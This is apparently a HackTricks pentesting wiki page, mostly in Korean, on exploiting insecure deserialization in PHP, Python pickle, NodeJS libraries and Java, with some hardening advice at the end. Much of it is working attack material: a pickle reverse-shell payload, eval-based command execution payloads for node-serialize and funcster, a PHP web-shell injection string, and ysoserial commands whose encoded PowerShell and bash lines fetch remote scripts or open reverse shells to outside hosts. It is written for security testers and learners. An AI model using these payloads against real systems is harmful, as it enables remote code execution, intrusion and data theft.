Deserialization
Reading time: 41 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
Serialization는 객체를 보존 가능한 형식으로 변환하는 방법으로, 객체를 저장하거나 통신 과정에서 전송하기 위한 목적으로 사용됩니다. 이 기법은 객체의 구조와 상태를 유지한 채 나중에 동일한 객체를 재생성할 수 있도록 하기 위해 일반적으로 사용됩니다.
Deserialization는 반대로 serialization을 역으로 수행하는 과정으로, 특정 형식으로 구조화된 데이터를 받아 객체로 재구성하는 것을 포함합니다.
Deserialization은 잠재적으로 공격자가 직렬화된 데이터를 조작해 악성 코드를 실행할 수 있게 하거나 객체 재구성 과정에서 애플리케이션에 예기치 못한 동작을 유발할 수 있기 때문에 위험할 수 있습니다.
PHP
PHP에서는 serialization과 deserialization 과정에서 특정 magic methods가 사용됩니다:
__sleep: 객체가 serialization될 때 호출됩니다. 이 메서드는 직렬화되어야 하는 객체의 모든 속성 이름을 배열로 반환해야 합니다. 보통 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.__wakeup: 객체가 deserialization될 때 호출됩니다. 직렬화 중에 끊어졌을 수 있는 데이터베이스 연결을 재설정하거나 기타 재초기화 작업을 수행하는 데 사용됩니다.__unserialize: 객체가 deserialization될 때(존재한다면)__wakeup대신 호출됩니다.__wakeup에 비해 deserialization 과정을 더 세밀하게 제어할 수 있습니다.__destruct: 객체가 파괴되기 직전이나 스크립트가 종료될 때 호출됩니다. 파일 핸들이나 데이터베이스 연결을 닫는 등 정리 작업에 주로 사용됩니다.__toString: 객체를 문자열로 취급할 수 있게 해주는 메서드입니다. 내부 함수 호출에 따라 파일을 읽는 등 작업에 사용될 수 있으며, 객체의 텍스트 표현을 제공합니다.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
결과를 보면 객체가 역직렬화될 때 함수 **__wakeup**와 **__destruct**가 호출되는 것을 볼 수 있습니다. 몇몇 튜토리얼에서는 속성을 출력하려 할 때 __toString 함수가 호출된다고 하지만, 현재는 더 이상 그렇지 않은 것 같습니다.
warning
클래스에 구현되어 있으면 메서드 **__unserialize(array $data)**가 __wakeup() 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열 형태로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용해 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
설명된 PHP 예제는 여기에서 읽어보세요: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 또는 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP 역직렬화 + Autoload Classes
PHP autoload 기능을 악용하여 임의의 php 파일 등을 로드할 수 있습니다:
PHP - Deserialization + Autoload Classes
참조된 값 직렬화
어떤 이유로 값을 다른 직렬화된 값에 대한 참조로 직렬화하려면 다음과 같이 할 수 있습니다:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
allowed_classes로 PHP Object Injection 방지
info
PHP 7.0에서 unserialize()의 두 번째 인자($options 배열)에 대한 지원이 추가되었습니다. 이전 버전에서는 이 함수가 직렬화된 문자열만 받아 어떤 클래스가 인스턴스화될 수 있는지를 제한할 수 없습니다.
unserialize()는 직렬화된 스트림 안에서 찾은 모든 클래스를 인스턴스화합니다(특별한 지시가 없는 한). PHP 7부터는 이 동작을 allowed_classes 옵션으로 제한할 수 있습니다:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
만약 allowed_classes가 생략되었거나 또는 코드가 PHP < 7.0에서 실행된다면, 해당 호출은 위험해집니다. 공격자는 __wakeup() 또는 __destruct() 같은 매직 메서드를 악용하는 페이로드를 만들어 Remote Code Execution (RCE)를 달성할 수 있습니다.
실제 사례: Everest Forms (WordPress) CVE-2025-52709
WordPress 플러그인 Everest Forms ≤ 3.2.2는 헬퍼 래퍼로 방어하려고 했지만 레거시 PHP 버전을 고려하지 않았습니다:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
여전히 PHP ≤ 7.0을 실행하던 서버에서는 이 두 번째 분기가 관리자가 악성 폼 제출을 열었을 때 고전적인 PHP Object Injection으로 이어졌다. 최소한의 exploit payload는 다음과 같을 수 있다:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
관리자가 해당 항목을 조회하자마자 객체가 인스턴스화되고 SomeClass::__destruct()가 실행되어 임의 코드 실행이 발생했다.
요점
- 항상
unserialize()를 호출할 때['allowed_classes' => false](또는 엄격한 화이트리스트)를 전달하라. - 방어적 래퍼를 점검하라 – 종종 레거시 PHP 분기를 누락한다.
- 단순히 PHP ≥ 7.x로 업그레이드하는 것만으로는 충분하지 않다: 해당 옵션은 여전히 명시적으로 제공되어야 한다.
PHPGGC (ysoserial for PHP)
PHPGGC 는 PHP deserializations를 악용하기 위한 payloads 생성에 도움을 줄 수 있다.
몇몇 경우에는 애플리케이션의 소스 코드에서 deserialization을 악용할 방법을 찾지 못할 수 있으나, 외부 PHP extensions의 코드를 악용할 수 있을 수도 있다.
가능하면 서버의 phpinfo()를 확인하고 인터넷(그리고 PHPGGC의 gadgets까지)에서 악용 가능한 gadget들을 찾아보라.
phar:// 메타데이터 deserialization
만약 LFI를 발견했는데 해당 LFI가 파일 내부의 php 코드를 실행하지 않고 단순히 파일을 읽기만 한다면, 예를 들어 file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize() 같은 함수를 사용하는 경우, phar 프로토콜을 이용해 파일을 읽을 때 발생하는 deserialization을 악용해 볼 수 있다.
자세한 정보는 다음 글을 읽어라:
Python
Pickle
객체가 unpickle될 때, 함수 ___reduce___가 실행된다.
악용되면 서버가 에러를 반환할 수 있다.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
다음 페이지는 python yaml 라이브러리에서 abuse an unsafe deserialization in yamls 기법을 설명하고, Pickle, PyYAML, jsonpickle and ruamel.yaml에 대한 RCE deserialization payload를 생성할 수 있는 도구로 마무리합니다:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS에는 PHP나 Python처럼 객체를 생성하는 것만으로 자동으로 실행되는 "magic" 함수가 없습니다. 하지만 toString, valueOf, toJSON처럼 직접 호출하지 않아도 자주 사용되는 함수들이 있습니다. deserialization을 악용하여 이러한 함수들을 손상시키고 다른 코드를 실행하게 만들 수 있다면(잠재적으로 prototype pollutions를 악용하여) 해당 함수들이 호출될 때 임의의 코드를 실행할 수 있습니다.
함수를 직접 호출하지 않고 호출하는 또 다른 "magic" 방법은 async 함수(promise)가 반환하는 객체를 손상시키는 것입니다. 반환 객체를 다른 promise로 transform하고 그 promise에 함수 타입의 "then"이라는 property를 추가하면, 그 객체가 다른 promise에 의해 반환되었다는 이유만으로 해당 "then"이 실행됩니다. 자세한 내용은 this link 을 확인하세요.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
이 기술에 대해 배우고 싶다면 다음 튜토리얼을 확인하세요:
NodeJS - proto & prototype Pollution
node-serialize
이 라이브러리는 함수를 직렬화할 수 있습니다. 예:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
다음은 직렬화된 객체의 예입니다:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
예제에서 함수가 직렬화될 때 _$$ND_FUNC$$_ 플래그가 직렬화된 객체에 추가되는 것을 볼 수 있습니다.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
마지막 코드 블록에서 보듯이, 플래그가 발견되면 eval이 함수를 deserialize하는 데 사용되므로, 기본적으로 사용자 입력이 eval 함수 내부에서 사용되는 셈입니다.
하지만, 단지 함수를 직렬화하는 것만으로는 그것이 실행되지는 않습니다. 우리의 예에서는 코드의 어떤 부분이 y.rce를 호출해야 하기 때문이고, 그것은 매우 가능성이 낮습니다.
어쨌든, 객체가 deserialize 될 때 직렬화된 함수를 자동으로 실행시키기 위해 직렬화된 객체를 수정해서 괄호를 몇 개 추가하는 방법을 사용할 수 있습니다.
다음 코드 블록에서 마지막 괄호를 주목하고 unserialize 함수가 어떻게 코드를 자동으로 실행하는지 보십시오:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
앞서 언급했듯이, 이 라이브러리는 _$$ND_FUNC$$_ 뒤의 코드를 가져와 eval을 사용해 실행합니다. 따라서 코드를 자동으로 실행하려면 함수 생성 부분과 마지막 괄호를 삭제하고 다음 예시처럼 JS 원라이너를 바로 실행하면 됩니다:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
이 취약점을 악용하는 방법에 대한 자세한 정보는 find here에서 확인할 수 있습니다.
funcster
funcster의 주목할 점은 표준 내장 객체들에 접근할 수 없다는 것입니다; 이들은 접근 가능한 범위 밖에 존재합니다. 이 제한으로 인해 내장 객체의 메서드를 호출하려는 코드를 실행할 수 없으며, console.log()나 require(something) 같은 명령을 사용할 때 "ReferenceError: console is not defined"와 같은 예외가 발생합니다.
이러한 제한에도 불구하고, 특정 방법을 통해 모든 표준 내장 객체들을 포함한 전역 컨텍스트에 대한 완전한 접근을 복원할 수 있습니다. 전역 컨텍스트를 직접 활용하면 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
For more information read this source.
serialize-javascript
serialize-javascript 패키지는 오직 직렬화(serialization) 용도로만 설계되어 있으며, 내장된 역직렬화(deserialization) 기능이 없습니다. 역직렬화 방법은 사용자가 직접 구현해야 합니다. 공식 예제에서는 직렬화된 데이터를 역직렬화할 때 eval을 직접 사용하는 것을 제시합니다:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
이 함수가 객체를 deserialize하는 데 사용된다면 쉽게 악용할 수 있습니다:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
자세한 정보는 more information read this source를 읽어보세요.
Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Java에서는 역직렬화 콜백은 역직렬화 과정에서 실행됩니다. 이 실행은 악의적인 페이로드를 만들어 이러한 콜백을 트리거하는 공격자에게 악용될 수 있으며, 그 결과 유해한 동작이 실행될 수 있습니다.
지문
White Box
코드베이스에서 잠재적인 직렬화 취약점을 식별하려면 다음을 검색하세요:
Serializable인터페이스를 구현하는 클래스.java.io.ObjectInputStream,readObject,readUnshare함수의 사용.
특히 주의해야 할 점:
XMLDecoder가 외부 사용자가 정의한 매개변수와 함께 사용되는 경우.XStream의fromXML메서드, 특히 XStream 버전이 1.46 이하인 경우 직렬화 문제에 취약할 수 있습니다.ObjectInputStream이readObject메서드와 함께 사용되는 경우.readObject,readObjectNodData,readResolve,readExternal와 같은 메서드의 구현.ObjectInputStream.readUnshared.Serializable의 일반적인 사용.
Black Box
Black Box 테스트의 경우, java 직렬화 객체(ObjectInputStream에서 유래)를 나타내는 특정 **signatures or "Magic Bytes"**를 찾아보세요:
- Hexadecimal pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response headers with
Content-typeset toapplication/x-java-serialized-object. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00. - Base64 pattern indicating prior compression:
H4sIA. - Web files with the
.facesextension and thefaces.ViewStateparameter. 웹 애플리케이션에서 이러한 패턴이 발견되면 post about Java JSF ViewState Deserialization에 자세히 설명된 대로 조사를 수행해야 합니다.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
취약성 확인
만약 learn about how does a Java Deserialized exploit work 를 배우고 싶다면 다음을 참고하세요: Basic Java Deserialization, Java DNS Deserialization, 및 CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
최신 코드베이스는 종종 deserialization을 java.security.SignedObject로 래핑하고 getObject()를 호출하기 전에 서명을 검증합니다(이때 getObject()는 내부 객체를 deserializes합니다). 이는 임의의 최상위 gadget classes를 방지하지만, 공격자가 유효한 서명을 얻을 수 있는 경우(예: private-key compromise 또는 signing oracle)에는 여전히 악용될 수 있습니다. 또한, error-handling 흐름은 unauthenticated users를 위해 session-bound tokens를 발행할 수 있어, 보호된 sinks에 pre-auth 상태에서 접근이 노출될 수 있습니다.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
화이트박스 테스트
설치된 애플리케이션 중 알려진 취약점이 있는 것이 있는지 확인할 수 있습니다.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
취약한 것으로 알려져 있고 Ysoserial가 익스플로잇을 제공할 수 있는 모든 라이브러리를 확인해볼 수 있습니다. 또는 Java-Deserialization-Cheat-Sheet에 표시된 라이브러리들을 확인할 수 있습니다.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
또는 gadgetinspector를 사용해 이용 가능한 gadget chains를 검색할 수 있습니다.
When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.
gadgetinspector를 실행(빌드 후)할 때 많은 경고/오류가 표시되더라도 신경 쓰지 말고 끝까지 실행하세요. 결과는 모두 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. 단, gadgetinspector는 익스플로잇을 생성하지 않으며 false positives를 표시할 수 있습니다.
Black Box Test
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Burp extension인 gadgetprobe를 사용하면 어떤 라이브러리가 사용 가능한지(심지어 버전까지) 확인할 수 있습니다. 이 정보를 바탕으로 취약점을 익스플로잇하기 위한 payload 선택이 더 쉬워질 수 있습니다.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
GadgetProbe는 ObjectInputStream deserialization에 초점을 맞추고 있습니다.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Burp extension인 Java Deserialization Scanner를 사용하면 ysoserial로 익스플로잇 가능한 취약한 라이브러리들을 식별하고 익스플로잇할 수 있습니다.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
Java Deserialization Scanner도 ObjectInputStream deserialization에 중점을 둡니다.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
또한 Freddy를 사용해 Burp에서 deserialization 취약점을 탐지할 수 있습니다. 이 플러그인은 ObjectInputStream 관련 취약점뿐만 아니라 Json 및 Yml deserialization 라이브러리에서 발생하는 취약점도 탐지합니다. 액티브 모드에서는 sleep 또는 DNS payload를 사용해 이를 확인하려 시도합니다.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
항상 서버에서 취약한 라이브러리 사용 여부만 확인하는 것이 전부는 아닙니다. 경우에 따라 직렬화된 객체 내부의 데이터를 수정하여 일부 검증을 우회할 수 있고(웹앱 내에서 관리자 권한을 얻을 수도 있습니다) 그럴 수 있습니다.
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
웹 애플리케이션으로 전송되는 Java serialized object를 발견하면, SerializationDumper를 사용해 전송되는 serialization 객체를 더 사람이 읽기 쉬운 형태로 출력할 수 있습니다. 어떤 데이터를 전송하는지 알면 수정하여 검증을 우회하기가 더 쉬워집니다.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Java deserialization을 익스플로잇하는 주요 도구는 ysoserial (download here)입니다. 또한 파이프 등을 포함한 복잡한 명령을 사용할 수 있게 해주는 ysoseral-modified를 고려할 수 있습니다.
Note that this tool is focused on exploiting ObjectInputStream.
이 도구는 ObjectInputStream 익스플로잇에 초점을 맞추고 있다는 점을 유의하세요.
I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
인젝션이 가능한지 테스트할 때는 RCE payload 전에 "URLDNS" payload를 먼저 사용하는 것을 권장합니다. 다만 "URLDNS" payload가 동작하지 않을 수 있지만 다른 RCE payload는 동작할 수 있다는 점도 기억하세요.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
**java.lang.Runtime.exec()**용 payload를 만들 때, 실행의 출력을 리다이렉트하기 위해 ">"나 "|" 같은 special characters를 사용하거나 명령을 실행하기 위한 "$()"을 사용하거나 심지어 공백으로 구분된 인수를 pass arguments로 전달할 수 없습니다 (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). 페이로드를 올바르게 인코딩하려면 use this webpage.
다음 스크립트를 사용하여 Windows와 Linux용 all the possible code execution payloads를 생성한 다음 취약한 웹 페이지에서 테스트해 보세요:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
당신은 사용 https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserial과 함께 더 많은 exploits를 생성하는 데 사용할 수 있습니다. 도구가 소개된 발표 슬라이드에서 이 도구에 대한 자세한 정보를 확인할 수 있습니다: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec 은 Java의 다양한 Json 및 Yml serialization 라이브러리를 exploit하기 위한 payloads를 생성하는 데 사용할 수 있습니다.
프로젝트를 컴파일하기 위해 이 dependencies를 pom.xml에 추가해야 했습니다:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven을 설치하고 프로젝트를 컴파일하세요:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
이 Java JSON 라이브러리에 대해 자세히 알아보기: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
실습
- ysoserial 페이로드를 테스트하려면 이 웹앱을 실행할 수 있습니다: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
이유
Java는 다양한 목적을 위해 직렬화를 많이 사용합니다:
- HTTP requests: 직렬화는 파라미터, ViewState, 쿠키 등의 관리에 널리 사용됩니다.
- RMI (Remote Method Invocation): Java RMI 프로토콜은 전적으로 직렬화에 의존하며 Java 애플리케이션의 원격 통신의 핵심입니다.
- RMI over HTTP: 이 방법은 Java 기반의 thick client 웹 애플리케이션에서 흔히 사용되며 모든 객체 통신에 직렬화를 사용합니다.
- JMX (Java Management Extensions): JMX는 네트워크를 통해 객체를 전송할 때 직렬화를 사용합니다.
- Custom Protocols: Java에서는 표준 관행이 raw Java objects의 전송을 포함하며, 이는 이후의 exploit examples에서 시연될 것입니다.
예방
Transient objects
Serializable을 구현하는 클래스는 직렬화되어서는 안 되는 클래스 내부의 객체를 transient로 표시할 수 있습니다. 예:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable을 구현해야 하는 클래스의 Serialization을 피하기
클래스 계층 때문에 특정 객체들이 Serializable을 구현해야 하는 상황에서는 의도치 않게 역직렬화될 위험이 있습니다. 이를 방지하려면 아래 예시처럼 항상 예외를 던지는 final readObject() 메서드를 정의하여 해당 객체들이 역직렬화되지 않도록 하세요:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java에서 역직렬화 보안 강화
**Customizing java.io.ObjectInputStream**는 역직렬화 프로세스를 보호하기 위한 실용적인 방법입니다. 이 방법은 다음과 같은 경우에 적합합니다:
- 역직렬화 코드가 귀하의 제어 하에 있는 경우.
- 역직렬화 대상 클래스들이 알려져 있는 경우.
